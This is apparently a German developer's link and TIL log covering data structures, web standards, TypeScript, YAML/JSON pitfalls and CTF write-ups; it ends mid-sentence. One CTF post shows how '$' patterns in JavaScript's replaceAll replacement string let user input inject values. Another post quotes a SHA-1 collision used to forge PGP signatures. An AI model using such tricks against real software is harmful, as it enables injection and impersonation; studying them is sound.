
Was macht man mit so einer dezentralen SQLite-DB? Die Demo ist jedenfalls eine Torrent-Suchmaschine, die Magnet-Links zurückgibt.

Ich bin von dieser Kreativität beeindruckt. Eingedampft hat man hier eine HTML-Seite mit ein bisschen JavaScript, die man statisch hosten kann. Bekommen tut man eine Torrent-Suchmaschine.

  • db

Zu dem Artikel über Server-Sent-Events neulich gibts es noch eine Ergänzung, die ein paar Implikationen darstellt. Der Autor ist bei der HTTP working group bei der IETF.

Auch interessant ist der Verweis auf WebTransport. Das ist ein kommender Standard, der Streams und Datagramme über HTTP/3 laufen lässt. Da HTTP/3 unten drunter das verschlüsselte, UDP-basierte QUIC verwendet, hat man ziemliche Narrenfreiheit, was neue Features verwendet. Vielleicht hätte man technisch gesehen TCP noch anpassen können. Es hat ja reservierte Felder und Verhalten, das man noch spezifizieren könnte. In der Praxis fällt das jedoch weg, da es ganz viele Geräte gibt, die dann den Traffic einfach droppen würden. Das nennt man “Ossification of Protocols”. Einer der Kerngründe, warum bei QUIC so viel wie möglich verschlüsselt (und damit nicht für die middle-boxes sichtbar) ist.

Hier eine Demo von WebTransport mit Code.

Was mir bei einer CTF-Challenge gerade aufgefallen ist und wahrscheinlich dort für die Exploitation wichtig ist, ich aber bisher nicht auf dem Schirm hatte:

Bei JavaScripts str.replaceAll(a, b) werden in b Steuerzeichen wie $ interpretiert, auch, wenn a keine RegExp ist:

console.log("a_b_c_d_e".replaceAll("_", "$`"))
// 'aaba_bca_b_cda_b_c_de'

Kommt b also vom User, können damit Werte injiziert werden.

Für mich ist das unerwartetes Verhalten, da für mich nicht offensichtlich ist, dass der replacement-String in jedem Fall interpretiert wird. Gibt es für sowas Linter-Regeln?

  • api-design
  • javascript

Vielleicht habt ihr ja gehört, dass GET-Requests schon irgendwie Bodys haben können. Das Verhalten ist jedenfalls irgendwie unspezifiziert.

Aktuell gibt es einen Draft zu einer neuen HTTP-Methode: QUERY. Ziel: Ein GET-Äquivalent mit Body.

Was ist so toll an GET? Semantisch sagt es, dass es keine Veränderung an Daten auslöst bzw. man einen Request mehrfach absetzen kann, und er nichts doppelt macht. Auch toll: Man kann ihn deshalb in Reverse-Proxys cachen.

Das geht mit den anderen Methoden, die einen Body haben (z. B. POST) nicht. Dafür gibt jetzt bald die neue Methode.

The baseline for web development in 2022.

TL;DR: The baseline for web development in 2022 is: low-spec Android devices in terms of performance, Safari from two years before in terms of Web Standards, and 4G in terms of networks. The web in general is not answering those needs properly, especially in terms of performance where factors such as an over-dependence on JavaScript are hindering our sites’ performance.

Habt Ihr UB in einem C++-Programm? Oder Implementation-Defined Behaviour (IB)? Vielleicht kennt Ihr den Spruch, dass der Compiler absolut alles machen kann, wenn er UB oder IB findet. GCC startet ggf. ein Spiel.

HTMHell: A collection of bad practices in HTML, copied from real websites.

Floyds Algorithmus ist auch mehr Algorithmus als Datenstruktur. Er dient dazu, den Anfang eines Zykels in einer verketteten Liste zu finden. Der Zykel kann dabei an einem beliebigen Punkt starten.

Kennengelernt habe ich ihn über diesen Sketch. Dort wird der algorithmus etwas anders vorgestellt: Zum Finden eines doppelten Eintrags in einem Array. Im Vergleich zu einem Hash-Set bzw. ähnlichen Varianten hat Floyds algorithmus lineare Zeit und konstanten Speicher, also schon echt gut.

In diesem Video wird der Algorithmus noch mal genauer erklärt. Um zu verstehen, was das macht, hab ich das auch mal in Python implementiert und gegen zwei naive Implementierungenm getestet.
Ergebnis: Das mit dem Speicherverbrauch merkt man sofort – die lineare Laufzeit kickt nicht so. Vielleicht waren die Daten zu wenig oder ich habe falsch gemessen.

  • datenstrukturen
  • algorithmus

Datenstrukturdienstag:
In Anlehnung an letzte Woche: Die Levensthein-Distanz.

Ein Maß für die Ähnlichkeit zweiter Strings. Grob gesagt gibt es an, wie viele Tasten man auf der Tastatur drücken muss, um von einem String auf den anderen zu kommen (mit Backspace etc).
Es gibt verschiedene Algorithmen, um dieses Maß zu berechnen. Auf Wikipedia ist eine rekursive und eine Matrix-Variante. Sie unterscheiden sich deutlich in der Platzkomplexität.

Verwenden kann man das z. B: für eine Rechtschreibkorrektur. Oder generell, wenn man Nutzereingaben hat und man weiß, dass Nutzer sich genre vertippen.

  • datenstrukturen
  • list

Datenstrukturdienstag:
Eher ein Algorithmus: MinHash.

Damit lassen sich zwei Mengen auf Ähnlichkeit prüfen. Das kann man z. B. verwenden, wenn man zwei Wortmengen hat und rausfinden möchte, ob es ungefähr das gleiche ist. Laut Wikipedia wurde das bei AltaVista verwendet, um Duplikate bei den indizierten Webseiten zu vermeiden.

  • datenstrukturen
  • list

Datenstrukturdienstag:
Die Circular-Linked-List mit Tail-Verweis (statt Head-Referenz). Ist auch die lieblings-Datenstruktur von Anders Hejlsberg, dem C#-Erfinder, die er hier genauer erläutert. Das ganze Interview ist auch ganz interessant.

  • datenstrukturen
  • list

Datenstrukturdienstag:
Heute wieder keine Datenstruktur, sondern dieses Mal wirklich nur ein Algorithmus bzw. ein Konzept: Die Hilbert-Curve.

Anwendungsfall: Man ordnet einem Punkt (belibige Dimension, z. B. einem Punkt in einem Bild) einen Punkt auf einer Kurve zu. Man denkt sich jetzt vielleicht “Toll, das kann ich auch. Einfach die einzelnen Zeilen hintereinander legen”. Die Hilbert-Kurve hat aber eine besondere Eigenschaft: Punkte, die nah beieinander auf der Kurve waren, sind es auch im Ursprungssystem. Man kann deshalb die Länge (und somit die “Auflösung) erhöhen und die Punkte auf der Hilbert-Kurve verlieren nicht ihren räumlichen Bezug.

Damit kann man z. B. den IPv4-Adressraum schön plotten.

Da gibt es ein sehr gutes Video von einem meiner lieblings-Youtuber zu, 3blue1brown.

Update:
Korrektur der Punkposition, nach Hinweis eines Lesers.

  • datenstrukturen
  • algorithmus

TIL es gibt ein IAsyncDisposable, das einfach ein IDisposable ist, dessen Dispose-Methode asynchron ist.

  • c-sharp

Es gibt manchmal so Sachen, die findet man und denkt sich “wow, das ist wahrscheinlich so ein Basic-Wissen und ich lerne das erst jetzt kennen”. Es ist natürlich normal, dass man Lücken hat.

Heute wollte ich ein einfaches Problem lösen: Ich habe ein paar Dateien archiviert, die ich nicht veränderbar haben will. Da denkt man sich vielleicht: “Gut, einfach chmod -w <datei> und da hat sich das”.

Leider ist dem nicht so. Die Datei kann dann zwar nicht mehr geöffnet und verändert werden, aber sie kann weiterhin überschrieben und verschoben werden. Vorher habe ich mir ehrlich gesagt noch nie darüber gedanken gemacht.

Dieses Problem kann man mit den Unix-Rechten offenbar nicht lösen (wenn doch, scchickt mir eine Mail). Stattdessen bin ich relativ schnell auf chattr (Man-Page) gestoßen. Damit kann man, wie der Name auch vermuten lässt, Attribute von Dateien und Ordnern ändern. Der Unterschied ist, dass das ein Feature von Dateisystem ist, das das Dateisystem auch implementieren muss. Außerdem muss es als Root ausgeführt werden, unabhängig vom Besitzer der Datei.

Mein Problem konnte ich letztendlich damit lösen:

sudo chattr -R -V +i <file>
  • unix

Datenstrukturdienstag:
Rot-Schwarz-Baum (oder RB-Tree).

Ist ein selbst-balancierender Suchbaum, der in den meisten Implementierungen einer Map bzw. eines Dictionaries verwendet wird.
Beispielsweise ist std::map in den meisten Implementierungen intern ein RB-Tree. Aber auch B-Bäume und AVL-Bäume werden gern verwendet.

  • datenstrukturen
  • tree

We demonstrate that it is possible to trigger Rowhammer bit flips on all DRAM devices today despite deployed mitigations on commodity off-the-shelf systems with little effort.

Ganzer Artikel.

TIL ¥ ist in Japan der de-facto-Directory-Separator, hauptsächlich aus historischen Inkompatibilitäten zwischen ASCII und dem damals verwendeten Encoding in Japan, SHIFT_JIS. Obwohl sie heute UTF-8 nutzen, verwenden sie es weiterhin. Die Geschichten in den Kommentaren sind sehr interessant!

Ich habe heute gelernt, dass man bei npm init einen weiteren Paramter übergeben kann, einen Initializer. Das ist ein Wrapper, der solche Dinge wie create-react-app automatisch ausführt. Ohne den Parameter nennt man das anscheinend “legacy init”.

Beispiel: Für ein ESM-kompatibles npm-Projekt macht man dann npm init esm (es wird create-esm ausgeführt).

  • npm

Datenstrukturdienstag:
Heute keine “Datenstruktur”, eher ein Algorithmus. Aber das ist ja quasi beides das gleiche bzw nicht voneinander zu trennen.

FP-Growth (Frequent-Pattern) kommt zusammen mit dem FP-Tree. Der Algorithmus ist etwas komplizierter. Hier ist noch ein Artikel und ein Video dazu.

Was macht der? Das ist der Algorithmus hinter “Kunden, die X und Y kauften, kauften auch…”, also er findet oft zusammen auftretende Einträge. Das macht er sehr effizient, sodass man das auch auf großen Datenmengen (TM) laufen lassen kann.

  • datenstrukturen
  • tree

Wir haben alle in der Schule gelernt, dass wenn ein Aufruf von malloc einen Null-Pointer zurückgibt, die Allocation nicht funktioniert hat, z. B. weil kein Speicher mehr vorhanden war.

Das stimmt auch, aber das tritt heutzutage gar nicht mehr auf. Nicht, weil wir so viel Speicher haben. Sondern, weil das Betriebssystem stets sagt “ja, kannst du haben” und erst beim Schreiben auf den Speicher schaut, ob das überhaupt funktioniert. Dieses Prinzip nennt sich “Overcommitment” und ist meist bei unixoiden Systemen anzutreffen. Laut den interessanten Kommentaren auf HN macht NT das nicht.

Bei TypeScript wurde neulich der Pull-Request Control Flow Analysis for Destructured Discriminated Unions gemergt. Das hört sich erstmal kompliziert an, das Prinzip ist aber ganz simpel: Wenn eine Variable aus einem Objekt kommt, und mit der Variable irgendwelche Überprüfungen stattfinden, hat das auch Auswirkungen auf den Typen des Objekts, aus dem die Variable ursprünglich mal kam.

Bisher konnte man den Kontrollfluss auch schon verwenden, um den Typen des Objekts genauer zu spezifizieren. Allerdings musste man dann immer direkt auf das Objekt referenzieren:

type Action =
    | { kind: 'A', payload: number }
    | { kind: 'B', payload: string };

function f11(action: Action) {
    if (action.kind === 'A') {
        // `action.kind` ist 'A', daher ist `action.payload` an dieser Stelle eine number
        action.payload.toFixed();
    }
    if (action.kind === 'B') {
        // `action.kind` ist 'B', daher ist `action.payload` an dieser Stelle ein string
        action.payload.toUpperCase();
    }
}

Das neue aus dem PR ist, dass das Destructuring die Verbindung zur Herkunft nicht verliert. Und das funktioniert jetzt sogar bi-direktional. Also funktioniert jetzt auch das:

type Action =
    | { kind: 'A', payload: number }
    | { kind: 'B', payload: string };

function f11(action: Action) {
    const { kind, payload } = action;
    if (kind === 'A') {
        // `kind` kam aus `action`, daher ist `payload` an dieser Stelle eine number
        payload.toFixed();
    }
    if (kind === 'B') {
        // `kind` kam aus `action`, daher ist `payload` an dieser Stelle ein string
        payload.toUpperCase();
    }
}

Ich will mir garnicht ausmalen, wie komplex die Umsetzung dafür gewesen sein muss.

  • typescript

Ein Stylesheet, mit dem man debuggen kann, was im head-Element möglicherweise für Probleme sorgen kann: ct.css.

  • css

Datenstrukturdienstag:
Der Splay-Tree. Ist von den Zugriffszeiten im Prinzip wie viele andere selbst-balancierte Bäume, aber mit einem Unterschied:
Er schreibt auch bei Lesezugriff. So sortiert er häufig zugegriffene Nodes so um, dass sie schneller gefunden werden.

Bei zufälligem Zugriff performt er wie andere Bäume. Aber wenn im Zugriff ein Muster ist, kann seine Optimierung richtig zutrage kommen und wird ggf. schneller als O(log(n)).

Ich wollte diesen Baum mal in Rust implementieren, als Übungsaufgabe. Dann ist mir aufgefallen, dass der echt nicht so geil für alles ist, was mehr als einen Thread hat, da auch Leseoperationen schreibend zugreifen (naja, das war ja auch sein Vorteil). Vielleicht gibt’s da eine bessere Variante von, die dieses Problem nicht hat? Vielleicht eine, bei der jeder Thread seine Thread-Local-Kopie hat und nur die “richtigen” schreibenden Operationen synchronisert werden? Wenn jemand eine Idee hat, her damit!

Wie viele Datenstrukturen ist er schon etwas älter und kommt aus 1985.

  • datenstrukturen
  • tree

Ein kleines 2x10-Zellen-Excel. Ist vielleicht ganz praktisch, wenn man etwas schnell ausrechnen muss, man ber kein Excel/Calc zur Hand hat. Ich persönlich nehme dann meistens ein Python- oder Node.js-REPL. Aber manchmal will man ja eher sowas.

  • tools

Ein ls-Ersatz, geschrieben in Rust: exa

Verwende ich schon etwas länger und hab mich mittlerweile an den bunten Output gewöhnt. Ist leider kein Drop-In-Replacement, da die CLI-Params nicht gleich sind.

  • tools

Datenstrukturdienstag:
Mir ist aufgefallen, das ich sehr viele Bäume poste. Heute mal kein Baum, sondern eine verkettete Liste mit einem Trick: Die XOR-Linked-List.

Das ist eine Doppelt-Verkettete-Linked-List. Bei dieser Varainte wird an jedem Knoten aber nur ein Pointer für die Prev- bzw. Next-Nodes benötigt. Dieser Pointer ist kein Pointer in dem Sinne, sondern das XOR des Prev- und Next-Pointers.

Das geht, weil man beim Traversieren der Liste ja weiß, von welchem Element man kommt. Man kann deshalb immer die Adresse des nächsten (bzw vorherigen) kNotens ausrechnen, indem man den Pointer, von dem man kommt, mit XOR drauf rechnet.

Warum man diese Struktur in der Praxis nicht wirklich sieht? Das kann man gut an der Sektion “Drawbacks” auf Wikipedia lesen. Naja, und eigentlich ists jetzt nicht so krass, einen Pointer pro Node einzusparen.

  • datenstrukturen
  • list

Node.js 17.

Neu:

import * as readline from 'node:readline/promises';
import { stdin as input, stdout as output } from 'process';

const rl = readline.createInterface({ input, output });

const answer = await rl.question('What do you think of Node.js? ');

console.log(`Thank you for your valuable feedback: ${answer}`);

rl.close();
  • node

Datenstrukturdienstag:
B-Bäume und B+-Bäume (nein, das B steht nicht für “Binary”). Beides selbst-balancierende Suchbäume.

Was ist “Balancierend”?
Wenn man einen Baum hat, in dem man Daten sucht, ist die Zeit, die man braucht, um ein Element zu finden, häufig an die Höhe des Baums gebunden. Es ist also von Vorteil, wenn der Baum möglichst niedrig ist.
Je nach Baum kann es aber vorkommen, dass es einen langen Pfad gibt, der deutlich länger als die anderen im Baum ist. Sowas ist immer ungünstig, wenn man dann genau eines der Elemente sucht, das sich in diesem langen Pfad befindet.
Hierfür hat balanciert man Bäume - d.h. man ordnet die Knoten so um, dass die Blätter des Baums immer in etwa auf der gleichen Höhe hängen.
“Selbst-balancierend” heißt hier, dass das nicht ein Prozess ist, der abundzu mal angestoßen wird, sondern dass die Operationen auf dem Baum (einfügen, Löschen etc.) so definiert sind, dass er sich beim Verändern entsprechend balanciert.

Beide Strukturen werden häufig in Datenbanken und vorallem in Dateisystemen verwendet, z. B. bei NTFS und ext4.

  • datenstrukturen
  • tree

Python könnte den GIL verlieren. Der GIL steht Python seit langer Zeit im Weg, sinnvoll nutzbares Multithreading zu machen. Deshalb macht man in Python aktuell meist Multi-Processing (oder man paralleisiert innerhalb von C-Extensions, z. B. direkt in numpy).

  • python

Ein cooles SQLite fiddle. Läuft komplett im Browser. Kann auch statisch gehostete SQLite-DBs als Quelle nehmen.

Datenstrukturdienstag:
Log-Structured-Merge-Tree (LSM-Tree).

Das ist ein Suchbaum. Die Idee: Man hat mehrere Bäume (Bei Wikipedia C_0 und C_1). Der erste Baum liegt im RAM, der zweite auf der Festplatte. Neue Einträge kommen in den RAM. Wenn C_0 einen Threshold übersteigt, werden Daten von C_0 nach C_1 migriert, also auf die Festplatte.

Der Vorteil: Neu eingesetzte Daten liegen direkt im RAM und können schnell abgerufen werden. Aus diesem Grund wird diese Struktur auch gern bei In-Memory-Datenbanken verwendet.

Es kommt auch vor, dass man mehrere Level an Bäumen hat, z. B. ein C_2, das irgendwo auf einem anderen Server im Cluster liegt.

  • datenstrukturen
  • tree

SHA-1 ist jetzt noch kaputter, als es schon war.

Wie kaputt?

Es ist eine Chosen-Prefix-Kollision:

Using our SHA-1 chosen-prefix collision, we have created two PGP keys with different UserIDs and colliding certificates: key B is a legitimate key for Bob (to be signed by the Web of Trust), but the signature can be transferred to key A which is a forged key with Alice’s ID. The signature will still be valid because of the collision, but Bob controls key A with the name of Alice, and signed by a third party. Therefore, he can impersonate Alice and sign any document in her name,”

Edit: Oh, das ist ja aus 2020. Hab ich nicht mitbekommen.

  • security

Wo wir gerade bei JSON waren und jetzt kommt “dann nehm ich einfach YAML, das ist ganz einfach und man kann es auch einfach parsen”. YAML ist ein Superset von JSON. Das heißt, dass wir alle JSON-Probleme weiterhin haben.

Dazu kommt, dass das restliche Format auch nicht so gut ist. Hier wieder ein bekannter Blogpost: YAML: probably not so great after all.

Ein Zitat aus dem Post:

YAML may seem ‘simple’ and ‘obvious’ when glancing at a basic example, but turns out it’s not. The YAML spec is 23,449 words; for comparison, TOML is 3,339 words, JSON is 1,969 words, and XML is 20,603 words.
[…]
For example did you know there are nine ways to write a multi-line string in YAML with subtly different behaviour?

YAML hat auch ein berühmtes Problem. Ihr könnt ja mal überlegen, was man hier nach dem Parsen erhält:

countries:
- GB
- IE
- FR
- DE
- NO
- US

Dann probiert es jetzt aus, oder schaut in den verlinkten Artikel.

Sowas ähnliches ist auch der Grund, warum man bei docker-compose-Files die Port-Mappings immer in Anführungsstriche schreiben sollte.

Aus der Reihe bekannterer Blogposts: Parsing JSON is a Minefield.

Falls Euch wieder jemand sagt, dass man ja JSON ganz einfach parsen kann und man einen Parser auch mal schnell selbst schreiben kann. Nein, kannst du nicht. Jedenfalls keinen, der in der wealen Welt Daten von anderen Stellen entgegen nehmen wird. Kleiner Auszug aus dem Post:

Yet JSON is defined in at least seven different documents:

Bei mit sterben immer meine Kräuterpflanzen in der Küche. Vielleicht gieße ich sie zu wenig, vielleicht zu viel. Ich weiß es nicht.

Diesen selbstbewässernden Blumentopf werde ich mal ausprobieren. Was ich besonders gut finde: Das ist keine sinnlose Technik-Bastellei mit ESPs oder Feuchtigkeitssensoren. Das ist ein rein mechanischer Mechanismus.

Ein interessanter Artikel über Web Streams: Web Streams Everywhere

Vor ein paar Jahren (2014) hat man Web Streams standardisiert. Das ist sowas wie die Streams aus Node.js, aber als Standard für den Browser. Stellt sich heraus: Bei einem fetch-Request muss man nicht zwingend await (oder .then()) nutzen, um die Antwort zu verarbeiten. Die Property response.body ist ein Stream, den man durch andere Dinge pipen kann.

Auch andere Klassen, wie z. B. Blob, haben eher weniger bekannte Stream-Schnittstellen. So kann man auch WebSockets als ReadableStream wrappen, um mit den Nachrichten einfacher umgehen zu können.

Ein sehr lohnender Artikel!

  • javascript

Vor ein paar Tagen habe ich Hurl kennengelernt. Das ist ein CLI-HTTP-Client, wie cURL. Der Unterschied ist: Hurl holt sich die Request-Parameter aus einer Datei.

Warum ist das so viel anders als cURL? Man kann mehrere HTTP-Anfragen in einer Datei abbilden. Diese Anfragen können Daten aus den Ergebnissen der vorherigen Anfrage verwenden. Aus dem REAMDE:

# Get home:
GET https://example.net

HTTP/1.1 200
[Captures]
csrf_token: xpath "string(//meta[@name='_csrf_token']/@content)"

# Do login!
POST https://example.net/login?user=toto&password=1234
X-CSRF-TOKEN: {{csrf_token}}

HTTP/1.1 302

Wie Ihr seht, kann man damit auch XPath-Querys auf die Antworten absetzen. Natürlich geht auch JSONPath. Das kann man mit einem [Asserts] kombinieren und sich somit HTTP-Tests bauen:

POST https://api.example.net/tests
{
    "id": "456",
    "evaluate": true
}

HTTP/1.1 200
[Asserts]
jsonpath "$.status" == "RUNNING"      # Check the status code
jsonpath "$.tests" count == 25        # Check the number of items

Intern verwendet das Tool natürlich cURL; man muss das Rad ja auch nicht neu erfinden.

  • http
  • software-engineering
  • tools

Datenstrukturdienstag:
Letzte Woche: Zählen, wie oft bestimmte Elemente vorkamen.
Diese Woche: Zählen, wie viele Elemente in einer Menge enthalten sind.

Verwenden kann man dafür HyperLogLog (ja, wieder probabilistisch).

Anweendungsfall: Ihr habt eine Menge, zu der ständig neue Elemente hinzukommen. Ihr braucht euch nicht jedes Element merken. Aber es kann sein, dass ein Element, das eigentlich schon drin ist, noch mal hinzugefügt werden soll. Ihr wollt dieses Element nicht doppelt zählen (Fachbegriff Count-Distinct-Problem).

Konkret wollt ihr vielleicht die Anzahl der Aufrufe eines Videos zählen und nimmt dabei die ID des Users, der es angesehen hat, als Kriterium. Schaut sich die Person es noch mal an, wollt ihr sie nicht noch mal zählen. HLL hat dabei einen sehr langsam wachsenden Speicherbedarf (ursprünglich log(log(n)), daher der Name) und kann in O(1) Elemente hinzufügen.

In der Praxis muss man das natürlich nicht selber bauen. Redis hat das built-in. Und für jede Sprache gibt’s das sicherlich auch als Library.

HLL wird natürlich bei den “ganz großen” verwendet (Reddit hat hier berichtet, wie sie ihre Views zählten; habe gehört, dass sie es mittlerweile nicht mehr so machen). Diese Datenstrunktur ist auch der Grund, warum Video-Views oder Upvote-Counts meistens nicht die genaue Zahl wiederspiegeln. HLL hat eine Fehlerrate von ~2%.

Es gibt von HLL noch weitere Abwandlungen, z. B. HLL++.

  • datenstrukturen
  • probabilistisch

Ich habe gerade folgendenden Alias bei Git hinzugefügt:

git config --global alias.serve "daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/"

Damit kann man ein lokales Git-Repo “mal schnell” serven, damit es jemand klonen kann. Dann spart man sich SSH bzw. andere Lösungen (Quelle).

  • git
  • shell

Wiedermal ein schöner API-gotcha, dieses Mal in C#/.NET:

Path.GetTempFileName() gibt den Pfad zu einer einzigartigen Datei zurück. Dabei wird diese Datei auch gleich (ohne Inhalt) angelegt. Sehr praktisch also! Man kann die Datei auch direkt löschen, wenn man weiß, dass man sie nicht mehr braucht.

Brauchst du etwas mehr, als eine einzige Datei? Es gibt praktischerweise auch Path.GetTempPath()!

Moment – diese Funktion gibt keinen eindeutigen Ordnernamen zurück, sondern den Pfad zum Temp-Verzeichnis des Nutzers. Wer gerade seinen Code refactored hat und davon ausging, dass man den Ordner sicher löschen kann, hat also vielleicht pech. Wenn man darin dann Dateien mit gleichen Namen anliegt, wiegt sich auch in falscher Sicherheit. Nicht schön.

Dies ist ein schönes Beispiel, dass man Seiteneffekte immer deutlich machen soll. Schon bei GetTempFileName hätte man noch irgendwo ein Create in den Namen tun müssen, damit man sieht, dass diese Funktion auch tatsächlich noch etwas anderes macht, als einen String zurückzugeben. Alternativ hätte man auch bei GetTempPath noch einen anderen Namen finden können.

Naming things is hard.

  • dotnet
  • api-design

TypeScript 4.5 (Beta).

Gute Änderung: TS unterstützt jetzt auch Node.js-Style-ES-Module. Das heißt, dass jetzt auch ordentlich mit ES-Imports umgegangen werden kann, wenn keine Dateiendung dabei ist. Das war bisher immer etwas doof, wenn man bestehenden Code als ES-Module emittiert, da man bei Node üblicherweise die Dateiendungen nicht mit angibt.
Die Alternative wäre gewesen, von .js zu importieren, was aber auch doof war, weil man ja eigentlich von einer .ts-Datei importiert. Die Imports wurden bisher nicht zu der entsprechenden .js-Datei umgeschrieben.

Template-Literal-Strings kann man jetzt auch als Discriminator nehmen:

interface Success {
    type: `${string}Success`;
    body: string;
}
interface Error {
    type: `${string}Error`;
    message: string
}
function handler(r: Success | Error) {
    if (r.type === "HttpSuccess") {
        // 'r' has type 'Success'
        let token = r.body;
    }
}

Hätte eigentlich gedacht, dass das vorher auch schon gehen würde. Cool, dass es jetzt geht.

Außer, dass Import Assertions jetzt unterstützt werden, gibt es eigentlich sonst keine krassen Neuerungen. Eher viel kleines für besseren Interop mit anderem.

  • typescript

Für ein CTF musste ich letztens einen Netfilter bauen, der ein- und ausgehende IP-Pakete patcht. Genauer gesagt mussten Daten in TCP-Header geändert werden (mehrere Reserved-Bits mussten gesetzt werden).

Nachdem ich hoffnungslos versucht hab, irgendwelche random TCP/IP-Userspace-Stacks mit Raw-Sockets oder TUN/TAP-Devices zum Laufen zu bringen, war die “einfache” Lösung ein Netfilter-Kernelmodul. Da man dazu immer mal wieder verschiedene Varianten findet und 90% der Tech-Blogs da draußen nicht in der Lage sind, Zeilenumbrüche und Quotes ordentlich zu formatieren, hier eine “einfache” Lösung (basiert teilweise auf dieser):

ultra_hack.c:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h>
#include <linux/tcp.h>

MODULE_LICENSE("GPL-3.0");
MODULE_AUTHOR("Ultra Hacker 3000");
MODULE_DESCRIPTION("Super-TCP-Hack");

static unsigned int hook_func(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
	if (!skb)
		return NF_ACCEPT;

	struct iphdr *iph = ip_hdr(skb);
	if (iph->protocol != IPPROTO_TCP)
		return NF_ACCEPT;

	struct tcphdr *tcp_header = tcp_hdr(skb);

	tcp_header->res1 = 0b1010;

	printk(KERN_DEBUG "ultra hack is hacking.\n");

	return NF_ACCEPT;
}

static struct nf_hook_ops nf_hook_data = {
	.hook = hook_func,
	.hooknum = NF_INET_POST_ROUTING,
	.pf = PF_INET,
	.priority = NF_IP_PRI_FIRST,
};

static int __init init_function(void)
{
	printk(KERN_INFO "ultra hack module is loading.\n");
	nf_register_net_hook(&init_net, &nf_hook_data);
	return 0;
}

static void __exit exit_function(void)
{
	printk(KERN_INFO "ultra hack module is unloading.\n");
	nf_unregister_net_hook(&init_net, &nf_hook_data);
}

module_init(init_function);
module_exit(exit_function);

Ein paar Anmerkungen:

  • PF_INET steht für IPv4
  • die hooknum gibt die Stelle an, an der der Filter eingesetzt wird (das kann man noch Pre-Routing machen etc, einfach nach anderen Konstanten schauen).
  • Die Signatur der hook_func ändert sich gerne mal bei Kernel-Updates. Die aus dem Beispiel funktioniert für 5.11.0.

Hier noch die Makefile dazu:

obj-m := ultra_hack.o
LKM-objs += ultra_hack.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
	rm -r -f *.mod.c .*.cmd *.symvers *.o
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

Zum Laden, Entfernen etc:

# kompilieren
make all

# laden
sudo insmod ultra_hack.ko

# schauen, ob es da ist
lsmod

# schauen, ob printk-Nachrichten auftauchen
sudo dmesg -w

# entfernen
sudo rmmod ultra_hack

Man kann das auch mit nfqueue und Python machen.

  • acsc
  • ctf
  • writeup

Datenstrukturdienstag:
Dieses Mal gibt es wieder eine probabillistische Datenstruktur: Count–min-Sketch.
Damit kann man (probabilistisch) schätzen, wie oft ein Element vorgekommen ist, z. B. wenn man einen Datenstrom hat und vorbeigehende Dinge zählt.

  • datenstrukturen
  • probabilistisch

Heutiger SQLite-Post: SQLAR, ein komprimiertes Archivformat, was gleichzeitig eine SQLite-Datenbank ist. Idee: Es ist eine normale SQLite-DB, die zusätzlich diese Tabelle hat:

CREATE TABLE sqlar(
    name TEXT PRIMARY KEY,  -- name of the file
    mode INT,               -- access permissions
    mtime INT,              -- last modification time
    sz INT,                 -- original file size
    data BLOB               -- compressed content
);

Rest dürfte selbsterklärend sein. Die Vorteile sind die, die man bei normalen SQLite auch hat: Transaktionen, man kann SQL-Querys auf Dateinamen/Attribute machen, die Datei ist inkrementell updatebar etc.

  • db

Der Link von eben hat mich an einen sehr guten Talk erinnert: The Future of Programming, von Bret Victor

Er präsentiert auf einem Tageslichtprojektor und setzt den ganzen Talk so auf, als ob er im Juli 1973 gehalten wird (der Talk ist von 2013). Dabei zeigt er die verrückten, neuen Ideen, auf die die Menschen damals gekommen sind, wenn es um Computer und deren Programmierung ging. Viele davon kennt Ihr wahrscheinlich. Andere bestimmt nicht, da sie in Vergessenheit geraten sind.

Warum haben wir eigentlich die Kreativität verloren, sodass wir Computer im Prinzip alle auf dieselbe Weise bespielen?

Interessante Frage, die sich jemand 2012 gestellt hat und diskutiert wurde: What will programming look like in 2020?

Ausschitt der Frage:

What will programming look like in 2020? Keep in mind that programming in 2012 mostly resembles programming in 2004, so could we even expect any significant changes 8 years from now in the programmer experience?

Neulich hatte ich den bekannten “Parse, don’t validate”-Post verlinkt.

Als Follow-Up-Empfehlung gibt es hier zwei Posts:

Letzteres dreht sich vorallem um Haskells newtype. Vereinfacht gesagt ist das ein strikter Typalias. Also als TypeScript-Äquivalent:

type Grade = number;

Mit einem wichtigen Unterschied: Jede number ist automatisch eine valide Grade. Das liegt daran, dass das Typsystem von TS (an den meisten Stellen) strukturell und nicht nominell ist.

Diese newtypes sind eine strikte Variante davon, nämlich, dass man die Typen entweder explizit casten muss oder sie durch die Typinferenz gesichert werden. In TS gibt es newtype-Konstruktionen, Librarys und etliche Blogposts dazu. Manche nennen es auch “Branded Types”. Natürlich gibt es auch ein seit 2014 offenes Proposal dazu.

Die Aussage des Blogposts oben: Das kann Exhaustiveness-Checking kaputt machen. Wir stellen uns diese Funktion vor:

type Grade = Branded<number, "Grade">; // "newtype" für Grade

function isGrade(value: number): value is Grade {
    return 1 <= value && value <= 6;
}

function getGradeDescription(value: Grade): string {
    switch (value) {
        case 1: return "sehr gut";
        case 2: return "gut";
        case 3: return "befriedigend";
        case 4: return "ausreichend";
        case 5: return "mangelhaft";
        case 6: return "ungenügend";
        default: throw new Error("Impossible");
    }
}

let a = 4;
// a ist "number"
if (isGrade(a)) {
    // a ist "Grade"
    console.log(getGradeDescription(a));
}

Das ist doch schon ganz gut. Aber was ist jetzt das Problem?

Das Problem wird klar, wenn wir ein Refactoring machen und von dem 6-Noten-System auf z. B. ein 15-Punkte-System migrieren:

type Grade = Branded<number, "Grade">; // "newtype" für Grade

function isGrade(value: number): value is Grade {
    return 0 <= value && value <= 15;
}

// ... 

let a = 4;
// a ist "number"
if (isGrade(a)) {
    // a ist "Grade"
    console.log(getGradeDescription(a));
}

Jetzt könnte es passieren, dass der Entwickler nicht mitbekommt, dass getGradeDescription auch angepasst werden muss – es gibt ja auch keinen Compilerfehler. Stattdessen erhalten wir einen Runtime-Fehler. Dabei dachten wir eigentlich, wir seien auf der sicheren Seite, denn wir haben immer den Grade-Type zugesichert.

Oben schrieb ich, dass Exhaustiveness-Checking kaputt gemacht würde. Rollen wir unseren Code also nochmal zurück vor das Refactoring und schauen, was wir hätten besser machen können.
Exhaustiveness-Checking ist, wenn der Compiler prüfen kann, ob alle Fälle abgetestet wurden. Wenn wir den default-Case beim getGradeDescription weglassen:

